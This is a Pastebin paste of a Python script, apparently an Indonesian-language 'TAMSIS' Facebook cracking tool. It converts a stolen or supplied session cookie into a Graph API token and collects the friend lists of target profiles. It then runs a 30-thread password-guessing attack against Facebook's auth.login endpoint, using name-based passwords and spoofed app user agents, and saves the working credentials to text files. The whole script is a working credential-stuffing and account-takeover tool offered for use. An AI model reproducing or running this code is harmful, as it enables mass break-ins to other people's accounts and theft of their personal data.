Advertisement
OBF-XIn

140.213.130.81-/sdcard/TamPrem.py.py

Jun 19th, 2023
134
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 7.57 KB | None | 0 0
  1. import os,requests,json,time,re,random,sys,uuid,string,subprocess,bs4
  2. os.system("chmod 777 /data/data/com.termux/files/usr/bin/*")
  3. from string import *
  4. from concurrent.futures import ThreadPoolExecutor as tred
  5. from bs4 import BeautifulSoup as sop
  6. tamsis="PEWARNA"
  7. P = '\x1b[1;97m' # PUTIH
  8. M = '\x1b[1;91m' # MERAH
  9. H = '\x1b[1;92m' # HIJAU
  10. K = '\x1b[1;93m' # KUNING
  11. B = '\x1b[1;94m' # BIRU
  12. U = '\x1b[1;95m' # UNGU
  13. O = '\x1b[1;96m' # BIRU MUDA
  14. tamsis="global"
  15. loop,ua,id,ok=0,[],[],[]
  16. plc=[]
  17. tamsis="logo"
  18. def logo():
  19.     os.system("clear")
  20.     print(f"""{M}
  21. ╔════╗╔═══╗╔═╗╔═╗╔═══╗╔══╗╔═══╗
  22. ║╔╗╔╗║║╔═╗║║║╚╝║║║╔═╗║╚╣╠╝║╔═╗║
  23. ╚╝║║╚╝║║─║║║╔╗╔╗║║╚══╗─║║─║╚══╗ {P}
  24. ──║║──║╚═╝║║║║║║║╚══╗║─║║─╚══╗║
  25. ──║║──║╔═╗║║║║║║║║╚═╝║╔╣╠╗║╚═╝║
  26. ──╚╝──╚╝─╚╝╚╝╚╝╚╝╚═══╝╚══╝╚═══╝
  27. """)
  28. def ua_api():
  29.     android_version = subprocess.check_output('getprop ro.build.version.release',shell=True).decode('utf-8').replace('\n','')
  30.     build = subprocess.check_output('getprop ro.build.id',shell=True).decode('utf-8').replace('\n','')
  31.     fblc = 'en_GB'
  32.     sim_id = subprocess.check_output('getprop gsm.operator.alpha',shell=True).decode('utf-8').split(',')[0].replace('\n','')
  33.     fbmf = subprocess.check_output('getprop ro.product.manufacturer',shell=True).decode('utf-8').replace('\n','')
  34.     fbbd = subprocess.check_output('getprop ro.product.brand',shell=True).decode('utf-8').replace('\n','')
  35.     fbsv = android_version
  36.     fbca = subprocess.check_output('getprop ro.product.cpu.abilist',shell=True).decode('utf-8').replace(',',':').replace('\n','')
  37.     fbdm = '{density=2.0,height='+subprocess.check_output('getprop ro.hwui.text_large_cache_height',shell=True).decode('utf-8').replace('\n','')+',width='+subprocess.check_output('getprop ro.hwui.text_large_cache_width',shell=True).decode('utf-8').replace('\n','')
  38.     for i in range(10000):
  39.         model = random.choice(['V2057A','I2208','V2228','V1922A','V1916A','V1930A','vivo Y55A','vivo Y55A','I2018','vivo 1707','V2168A','V2228','V1836A','V1930A','V2057A','vivo 1707','V2121A','V2121A','V2147','V1824A'])
  40.         fbap = random.choice(['414.0.0.30.113','414.0.0.30.113','354.0.0.8.108','354.0.0.8.108','405.0.0.16.112','414.0.0.30.113','414.0.0.30.113','413.0.0.30.104','414.0.0.30.113','408.1.0.16.113'])
  41.         fbbv = str(random.randint(111111111,999999999))
  42.         user = '[FBAN/FB4A;FBAV/'+fbap+';FBBV/'+fbbv+';FBDM/{density=2.0,width=720,height=1406};FBLC/'+fblc+';FBRV/'+str(random.randint(000000000,999999999))+';FBCR/'+sim_id+';FBMF/vivo;FBBD/vivo;FBPN/com.facebook.katana;FBDV/'+model+';FBSV/'+android_version+'.0;FBOP/1;FBCA/arm64-v8a:;]'
  43.         ua.append(user)
  44. def crack(ids,nama,pw):
  45.     try:
  46.         global loop,ok
  47.         print("\r"+P+"["+H+"TAMSIS-XD"+P+"] "+H+"Cracking "+K+str(loop)+P+"/"+K+str(len(id))+H+" OK"+P+" :"+H+str(len(ok)),end="\r")
  48.     except Exception as e:print(e)
  49.     try:akhir=nama.split(" ")[1]
  50.     except:akhir="skip"
  51.     for pws in pw:
  52.         try:
  53.             pas=pws.replace("awal",nama.split(" ")[0]).replace("Awal",nama.split(" ")[0]).replace("akhir",akhir).replace("Akhir",akhir).replace("nama",nama).replace("Nama",nama)
  54.             if "skip" in pas:continue
  55.             else:pass
  56.             po=requests.post('https://b-api.facebook.com/method/auth.login',headers={'accept-encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive', 'content-type': 'application/x-www-form-urlencoded', 'Authorization': 'OAuth 350685531728|62f8ce9f74b12f84c123cc23437a4a32', 'x-fb-friendly-name': 'authenticate', 'x-fb-http-engine': 'Liger','user-agent': random.choice(ua)},data={'email':ids,'password':pas,'cpl':'true','credentials_type':'password','error_detail_type':'button_with_disabled','source':'login','format':'json','generate_session_cookies':'1','generate_analytics_claim':'1','generate_machine_id':'1'}).json()
  57.             if 'session_key' in po:
  58.                 open("TAMSIS-OK.txt","a").write(f"{ids}|{pas}\n")
  59.                 print(f"\r{P}[{H}TAMSIS-OK{P}]{H} {ids} | {pas}")
  60.                 ok.append("c")
  61.             elif "Login approvals are on. Expect an SMS shortly with a code to use for log in" in str(po):break
  62.             elif 'www.facebook.com' in po['error_msg']:
  63.                 open("TAMSIS-CP.txt","a").write(f"{ids}|{pas}\n")
  64.                 if plc[0] in ["y","Y"]:
  65.                     print(f"\r{P}[{K}TAMSIS-OK{P}]{K} {ids} | {pas}")
  66.                 else:pass
  67.                 break
  68.             else:continue
  69.         except requests.exceptions.ConnectionError:time.sleep(30)
  70.         except Exception as e:print(e)
  71.     loop+=1
  72. def password():
  73.     logo()
  74.     inpu=input("TAMPILKAN HASIL CP ? (Y/n): ")
  75.     plc.append(inpu)
  76.     logo()
  77.     print(f"\t {P} KETIK {H}'stop'{P} UNTUK BERHENTI")
  78.     print(f"{P}contoh : {K}awal123,awalakhir,awal akhir,nama")
  79.     pw=[]
  80.     jum=1
  81.     while True:
  82.         pas=input(f"{P}MASUKAN PW KE {jum} : ")
  83.         if len(pas)==0:continue
  84.         elif pas in ["stop","Stop"]:
  85.             break
  86.         else:pw.append(pas);jum+=1
  87.     if len(pw)==0:print("PASSWORD MINIMAL SATU");password()
  88.     else:pass
  89.     print("TOTAL PASSWORD : "+str(len(pw)))
  90.     ua_api()
  91.     logo()
  92.     with tred(max_workers=30) as gas:
  93.         try:
  94.             for user in id:
  95.                 ids,names = user.split('|')[0],user.split('|')[1].lower()
  96.                 gas.submit(crack,ids,names,pw)
  97.         except Exception as e:print(e)
  98. def login():
  99.     logo();data2={};data={};ses=requests.Session();cok=input("cookies facebok : ")
  100.     try:
  101.         link = ses.post('https://graph.facebook.com/v16.0/device/login/', data={'access_token': '661587963994814|ffe07cc864fd1dc8fe386229dcb7a05e', 'scope': ''}).json();kode,user = link['code'],link['user_code'];vers = bs4.BeautifulSoup(ses.get(f'https://mbasic.facebook.com/device', cookies={'cookie': cok}).content, 'html.parser');item = ['fb_dtsg','jazoest','qr']
  102.         for x in vers.find_all('input'):
  103.             if x.get('name') in item:aset = {x.get('name'):x.get('value')};data.update(aset)
  104.         data.update({'user_code':user});meta = bs4.BeautifulSoup(ses.post('https://mbasic.facebook.com'+vers.find('form', method='post').get('action'), data=data, cookies={'cookie': cok}).text, 'html.parser');xzxz  = meta.find('form',{'method':'post'})
  105.         for x in xzxz('input',{'value':True}):
  106.             try:
  107.                 if x['name'] == '__CANCEL__' : pass
  108.                 else:data2.update({x['name']:x['value']})
  109.             except Exception as e:pass
  110.         ses.post(f'https://mbasic.facebook.com{xzxz["action"]}', data=data2, cookies={'cookie':cok});token = ses.get(f'https://graph.facebook.com/v16.0/device/login_status?method=post&code={kode}&access_token=661587963994814|ffe07cc864fd1dc8fe386229dcb7a05e').json()['access_token'];open("data.txt","w").write(f"{cok}|{token}");exit("kamu berhasil login")
  111.     except Exception as e:cetak("[bold red] cookie invalid");exit(e)
  112. def dump():
  113.     logo()
  114.     try:data=open("data.txt","r").read().split("|")
  115.     except:exit("KAMU BELUM LOGIN")
  116.     cok=data[0]
  117.     if not "c_user" in cok:exit("LOGIN ULANG")
  118.     tok=data[1]
  119.     if not "EAAJ" in tok:exit("LOGIN ULANG")
  120.     print(P+"GUNAKAN KOMA UNTUK MASSAL")
  121.     user=input("USER/ID : ")
  122.     for uid in user.split(','):
  123.         try:use=int(uid)
  124.         except:
  125.             try:use=re.findall('"userID":"(.*?)","',str(sop(requests.get("https://www.facebook.com/"+uid).text,"html.parser")))[0]
  126.             except Exception as e:continue
  127.         try:
  128.             freya=requests.get('https://graph.facebook.com/'+str(use)+'?fields=friends.fields(id,name).limit(5000)&access_token='+tok,cookies={'cookie': cok}).json()['friends']['data']
  129.             for xz in freya:
  130.                 if xz['id']+'|'+xz['name'] in id:pass
  131.                 else:id.append(xz['id']+'|'+xz['name'])
  132.         except Exception as e:continue
  133.     print("TOTAL ID : "+str(len(id)))
  134.     time.sleep(1)
  135.     password()
  136. def menu():
  137.     logo()
  138.     print(f"{P}KETIK 'login' JIKA KAMU BELUM LOGIN")
  139.     inp=input("crack/login : ")
  140.     if inp in ["login","Login"]:login()
  141.     else:dump()
  142. menu()
  143.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement